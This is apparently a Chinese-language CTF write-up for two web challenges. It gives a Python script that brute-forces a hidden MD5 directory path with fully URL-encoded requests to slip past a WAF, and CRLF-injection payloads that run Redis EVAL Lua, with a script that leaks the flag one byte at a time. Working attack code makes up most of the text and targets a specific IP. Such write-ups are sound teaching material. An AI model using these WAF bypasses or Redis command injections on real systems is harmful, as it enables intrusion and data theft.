Treasure Hunt
flag在md5值拼接flagtxt的文件里,如
d/4/1/d/8/c/d/9/8/f/0/0/b/2/0/4/e/9/8/0/0/9/9/8/e/c/f/8/4/2/7/e/f/l/a/g/t/x/t
访问已经存在的目录状态码是301
访问不存在的目录状态码是404
基于此差异可以写爆破脚本
这段waf可以用url编码绕过
做个lab
const express = require('express');
const app = express();
// 路由处理:直接返回请求的 URL
app.get('*', (req, res) => {
res.send(`Request URL: ${req.url}`);
});
// 启动服务器
const port = 3000;
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`);
});
可以看到express的req.url直接取到了原始路径
gpt搓一个脚本
import http.client
import string
# MD5字符集
md5_chars = string.digits + string.ascii_lowercase[:6] # 0-9, a-f
# 指定的目标URL
base_url = '34.170.146.252'
port = 49215 # 端口号
# 自定义URL编码函数,对数字和字母进行URL编码
def custom_urlencode(path):
encoded_path = ""
# 遍历路径中的每个字符
for char in path:
# 如果是字母或数字,则进行URL编码
if char.isalnum(): # 如果字符是字母或数字
# 获取字符的 ASCII 值,转换为 2位16进制并加上%
encoded_path += '%' + format(ord(char), '02x')
else:
# 否则直接添加字符(如 /、- 等)
encoded_path += char
return encoded_path
# 校验路径是否满足条件的函数
def check_path(path):
# 对路径进行自定义URL编码
encoded_path = custom_urlencode(path)
# 创建一个http.client的连接
connection = http.client.HTTPConnection(base_url, port)
try:
url = "/" + encoded_path # 拼接请求的路径
print(f"Requesting URL: {url}") # 打印发包的URL
# 发送GET请求
connection.request("GET", url)
# 获取响应
response = connection.getresponse()
print(f"Response Status Code: {response.status}") # 打印响应状态码
# 假设条件是通过返回的状态码来判断
if response.status == 301:
print(f"Valid path found: {url}")
return True
else:
return False
except Exception as e:
# 如果请求失败或出错,打印错误信息
print(f"Error while checking path {path}: {e}")
return False
finally:
connection.close()
# 爆破路径的函数
def brute_force_path(prefix, depth=1):
print(f"Starting depth {depth}: Trying path: {prefix}")
if depth == 33:
# 达到深度33时,停止递归
print(f"Depth {depth} reached. Stopping path exploration.")
return
else:
# 尝试每一个MD5字符集中的字符
for char in md5_chars:
new_prefix = prefix + "/" + char
print(f"Depth {depth}: Trying character: {char}, Path: {new_prefix}")
if check_path(new_prefix):
brute_force_path(new_prefix, depth + 1)
break # 如果找到有效路径,停止尝试继续当前字符
# 启动路径爆破,开始爆破第一位
brute_force_path('')
脚本跑出来的路径再拼接/f/l/a/g/t/x/t的url编码拿到flag
Alpaca Poll
js中的replace只会替换一次,详见:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#description
在/vote处注入
打redis的EVAL LUA命令注入,把dog的值换成flag的值
直接插payload会这样:
animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); redis.call('SET', 'dog', flag_value); return flag_value;" 0
原因在于getvotes方法最后只回显数字
可以先将flag字符串转ascii码
animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); local ascii_values = ''; for i = 1, #flag_value do ascii_values = ascii_values .. string.byte(flag_value, i) end; redis.call('SET', 'dog', ascii_values); return ascii_values;" 0
parseInt转出来太大了,精度不够
65108112979997120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
搓个脚本用GETRANGE逐位去读
import requests
target = 'http://34.170.146.252:24564'
flag = ''
index = 0
while not flag.endswith('}'):
payload = f'\r\n\r\nEVAL "return redis.call(\'SET\', \'dog\', string.byte(redis.call(\'GETRANGE\',\'flag\', {index}, {index})))" 0'
response = requests.post(f'{target}/vote', data={'animal': 'dog' + payload}, headers={'Content-Type': 'application/x-www-form-urlencoded'})
if response.status_code != 200:
print(f"Error with /vote request: {response.status_code}")
break
response = requests.get(f'{target}/votes')
if response.status_code != 200:
print(f"Error with /votes request: {response.status_code}")
break
votes = response.json()
dog_ascii = votes.get('dog')
if dog_ascii is not None:
flag += chr(dog_ascii)
print(f"Flag so far: {flag}")
else:
print("No 'dog' field in the response")
break
index += 1
print(f"Final flag: {flag}")
跑出来